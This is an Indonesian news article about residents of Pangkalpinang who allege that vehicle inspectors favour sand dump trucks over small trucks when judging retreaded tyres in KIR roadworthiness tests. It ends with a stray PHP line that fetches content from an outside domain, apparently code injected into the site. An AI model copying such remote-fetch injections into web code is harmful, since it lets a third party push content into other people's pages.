Gara-gara Mobil Engkel gunakan Ban Vulkanisir Ditolak Uji KIR, Mobil Dam Truk bisa Lulus Uji KIR dengan Ban yang Sama,  Warga: Saya tidak mau lagi Bayar KIR

Senin, 23 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Babel l Jejakkasus.info – Warga Pangkalpinang merasa sangat kecewa dengan pihak LLAJ terkait Pembayaran KIR Mobil, diduga Terkesan Dihambat hambat kan oleh pihak Penguji KIR dengan bermacam Alasan, seperti di karna kan Mobil Truk Engkel menggunakan Ban Vulkanisir ditolak karna melanggar Aturan yang ditetap kan oleh pihak LLAJ. 23/09/2024.

Aneh dan lucu nya Aturan penguji KIR tersebut diduga ada Pilih kasih dan patut diduga adanya Kecurangan, seperti Mobil Dam Truk Pengangkut Pasir bisa lulus uji KIR walaupun Mereka Menggunakan BAN Vulkanisir, Ada Apa dengan Aturan tersebut. Membeda- bedakan sama- sama Mobil truk dan Ban Vulkanisir,

Salah satu warga bicara dihadapan Awak media saat mereka mau bayar KIR mobil Engkel,namun tidak Lulus Uji KIR dengan Alasan Ban Vulkanisir mengatakan,

Baca Juga:  Usai Penyekatan Arus Mudik, Kapolda Jateng : Anggota Kita Fokuskan Pada Tempat Tempat Wisata

Kami Binggung Dengan Pihak Uji KIR Pak. Apa Perbedaan Ban Mobil Vulkanisir Saya Dengan Ban Mobil Dam Truk Vulkanisir, Kok Punya Saya Dinyatakan Tidak Lulus. Sedang kan Mobil Dam Truk Ban Vulkanisir Bisa Lulus Uji KIR, Masa Mereka Bilang Karna DAM truk Ban Vulkanisir nya Dobel. Bagi Saya Alasan Tersebut Tidak Berbobot. Pak,

Kalau Hal Ini Dipersulit Kami mulai sekarang tidak mau lagi Bayar KIR. Jangan salah kan kami niat kami sudah mau bayar biar ada Pendapatan Daerah. Eh Ditolak.

Mendapat keluh kesah warga yang hendak membayar KIR. Dengan niat baik taat akan Pajak tidak lulus uji KIR Awak media Mencoba konfirmasi, Pihak Dishub ( Red)Apakah Perbedaan aturan Ban Vulkanisir mobil truk engkel dan Mobil Dam truk iya jelaskan,

Baca Juga:  Diduga Melawan Hukum Pembeli Timah ilegal di jalan Desa Lubuk abaikan APH"

Terkait Hal Perbedaan Antara Ban Vulkanisir mobil truk engkel Dan Mobil Dam Truk Pasir, Coba Bapak Tanyakan Kepunguji, Karna Mereka Lebih Tau Aturan nya, Coba Bapak Langsung Aja Kebalai Pengujian dan silah kan Bapak hubungi Bapak Risno Bagian nya, tutur nya.

Risno Salah satu Pekerja di tempat Balai Pengujian saat dikonfirmasi terkait Apakah Perbedaan Antara Mobil truk Engkel menggunakan Ban Vulkanisir tidak lulus uji KIR. Dan sedangkan Dam Truk Pasir menggunakan Ban Vulkanisir bisa lulus uji KIR iya katakan,

Untuk Ban Vulkanisir tidak ada perbedaan, semuanya Pakai Ban asli dan sesuai ketentuaan di PP 55 tahun 2021 tentang kendaraan di pasal 150 tentang Pengujian persyaratan laik jalan, kalau Ban Vulkanisir hanya dipergunakan saat kendaraan darurat

Baca Juga:  Dugaan Kecurangan PPDB di Babel Ditemukan Sejumlah Calon Siswa SMP Asal Luar Kota dan Luar Daerah Lolos Seleksi Jalur Zonasi Masuk SMA

Tambah nya, kalau mereka melakukan pengujian menggunakan Ban Vulkanisir tetap tidak lulus bang, kalau diluar Pengujian mereka menggunakan Ban Vulkanisir bukan wewenang kita tutup nya,

Terpisah nya Ubaidi kepala dinas Perhubungan Kota Pangkalpinang saat dikonfirmasi apa perbedaan Ban Vulkanisir truk engkel yang tidak lulus uji KIR dan Dam Truk Pasir bisa lulus uji KIR walaupun menggunakan Ban Vulkanisir.
Bungkam , terkesan menutupi informasi keterbukaan Publik. Seakan dugaan adanya Pemainan untuk mencari uang saat adanya Pilih kasih uji KIR, dan tetap di upayakan untuk dikonfirmasi Ulang.

Team

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat
Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi
Sudah Berkerja Nyata,WN 88 Deklarasi Dukung Paslon 01 di Pilkada 2024, Kami Siap Menangkan Nanang-Antoni
Musrenbang 2025 Pekon Wayngison Resmi Dibuka
Selamat, Desa Bumi Daya Kecamatan Palas Raih Juara 3 Lomba Desa Tingkat Nasional
Mobil Dinas Belum Dikembalikan, DPRD Kejar Pengembalian Aset
Bawaslu Pesawaran Tetapkan Kasus Camat Negeri Katon Pidana Pemilu
Nanang Ermanto : Kami tak Gentar Diserbu Minyak Goreng
Tag :

Berita Terkait

Jumat, 11 Oktober 2024 - 14:45 WIB

Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat

Jumat, 11 Oktober 2024 - 11:47 WIB

Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi

Jumat, 11 Oktober 2024 - 10:52 WIB

Sudah Berkerja Nyata,WN 88 Deklarasi Dukung Paslon 01 di Pilkada 2024, Kami Siap Menangkan Nanang-Antoni

Kamis, 10 Oktober 2024 - 19:58 WIB

Musrenbang 2025 Pekon Wayngison Resmi Dibuka

Kamis, 10 Oktober 2024 - 19:22 WIB

Selamat, Desa Bumi Daya Kecamatan Palas Raih Juara 3 Lomba Desa Tingkat Nasional

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>